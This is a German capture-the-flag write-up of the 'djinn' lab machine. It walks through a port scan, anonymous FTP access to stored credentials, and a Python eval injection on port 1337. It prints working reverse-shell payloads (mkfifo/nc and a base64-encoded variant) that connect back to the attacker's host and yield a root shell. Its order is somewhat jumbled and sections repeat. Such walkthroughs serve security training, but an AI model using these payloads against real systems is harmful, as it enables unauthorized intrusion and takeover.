Der Befehl arp-scan -l führt eine ARP-Anfrage im lokalen Netzwerk aus. Wir erhalten die IP-Adresse (192.168.2.131) und die MAC-Adresse (08:00:27:96:f8:c9) des Zielsystems. Die Information "PCS Systemtechnik GmbH" deutet auf den Hersteller der Netzwerkkarte hin.
**Empfehlung:** Das Filtern von ARP-Anfragen kann das Aufspüren von Geräten im Netzwerk erschweren.
Die /etc/hosts Datei wurde um einen Eintrag für djinn.vln erweitert.
Der Befehl nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 führt einen umfassenden Portscan auf dem Zielsystem durch und versucht, die Versionen der laufenden Dienste zu identifizieren. Wir stellen fest:
**Empfehlung:** Deaktivieren Sie anonyme FTP-Logins, um unbefugten Zugriff zu verhindern. Beschränken Sie den Zugriff auf unnötige Ports, um die Angriffsfläche zu verringern.
Nach der grundlegenden Aufklärung konzentrieren wir uns auf die Webanwendungen, die auf dem Zielsystem laufen. Wir nutzen verschiedene Tools, um versteckte Dateien und Verzeichnisse zu finden und die Angriffsfläche zu vergrößern.
Der Befehl wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u "http://192.168.2.131:7331/FUZZ" --hc 404 --hh 0 findet die Pfade /wish und /genie
nikto -h http://djinn.vln:7331 identifiziert die verwendete Technologie auf der Webseite.
Wir erhalten Informationen wie:
**Empfehlung:** Konfigurieren Sie die fehlenden Sicherheitsheader und aktualisieren Sie die Python-Version.
In diesem Abschnitt versuchen wir, einen ersten Zugang zum System zu erlangen. Wir analysieren die gesammelten Informationen, um mögliche Schwachstellen zu identifizieren und auszunutzen.
Der anonyme FTP Login ist erfolgreich.
Die Dateien "creds.txt", "game.txt" und "message.txt" sind im FTP-Verzeichnis vorhanden.
Der Versuch, eine Reverse Shell hochzuladen, schlägt fehl, da keine Schreibrechte vorhanden sind.
Der Anonyme FTP Server wurde heruntergeladen.
Der Benutzer nitu und das Passwort 81299 wurden gefunden.
Ein einfacher nc zum Port 1337 und die Eingabe von ls quittiert das system mit "Stop acting like a hacker for a damn minute!!"
Ein erster Befehl wurde erfolgreich mit wish ausgeführt.
Die Homeverzeichnisse wurden enumariert.
Die user.txt Flag konnte gefunden werden.
cat der user.txt.
Eingabemaske: echo cm0gL3RtcC9m21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2C4yLjE5SA5Tk5ID4vdG1wL2Y=|base64 -d | bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 9999 >/tmp/f
Directory Enumeration
Directory Enumeration
└─# nc -vv djinn.vln 1337
djinn.vln [192.168.2.131] 1337 (?) open
____ _____ _
/ ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | | __/ | | | | | | | | | __/
\____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___|
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(5, '*', 4)
> eval('__import__("os").system("id")')
uid=0(root) gid=0(root) groups=0(root)
└─# nc -vv djinn.vln 1337
djinn.vln [192.168.2.131] 1337 (?) open
____ _____ _
/ ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | | __/ | | | | | | | | | __/
\____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___|
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(3, '*', 6)
> eval('__import__("os").system("nc -e /bin/bash 192.168.2.199 4444")')
nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [- length] [-P proxy_username] [-p source_port]
[-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
[-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]
Wrong answer
Erneuter nc versuch mit parameter -e nicht erfolgreich
Eval Injection - Reverse Shell versuch 2
Verwende mkfifo wie im ersten versuch und sende eine Root Shell
└─# nc -vv djinn.vln 1337
djinn.vln [192.168.2.131] 1337 (?) open
____ _____ _
/ ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | | __/ | | | | | | | | | __/
\____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___|
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(1, '+', 8)
> eval('__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f")')
nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.131] 42832
/bin/sh: 0: can't access tty; job control turned off
#
id
id
uid=0(root) gid=0(root) groups=0(root)
Reverse Shell ist erfolgreich mit Root Rechten.
listete mit ls -al den inhalt aus
# ./proof.sh
TERM environment variable not set.
_ _ _ _ _
/ \ _ __ ___ __ _ ___(_)_ __ __ _| | | |
/ _ \ | '_ ` _ \ / _` |_ / | '_ \ / _` | | | |
/ ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
/_/ \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
|___/
djinn pwned...
__________________________________________________________________________
Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc
Path: /root
Date: Sun Sep 22 05:01:28 IST 2024
Whoami: root
__________________________________________________________________________
By @0xmzfr
Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)
# cd nitish
# ls
user.txt
# cat user.txt
10aay8289ptgguy1pvfa73alzusyyx3c
SSTI Python Attack Ende :
Privilege Escalation erfolgreich
cat des User Flags:
cat proof.txt
33eur2wjdmq80z47nyy4fx54bnlg3ibc
Flags
# cat user.txt
10aay8289ptgguy1pvfa73alzusyyx3c
cat des User Flags:
cat proof.txt
33eur2wjdmq80z47nyy4fx54bnlg3ibc
cat des Root Flags:
Wir beginnen mit der Aufklärung (Reconnaissance), um Informationen über das Zielsystem zu sammeln. Dies ist ein entscheidender Schritt, um potenzielle Angriffspunkte zu identifizieren.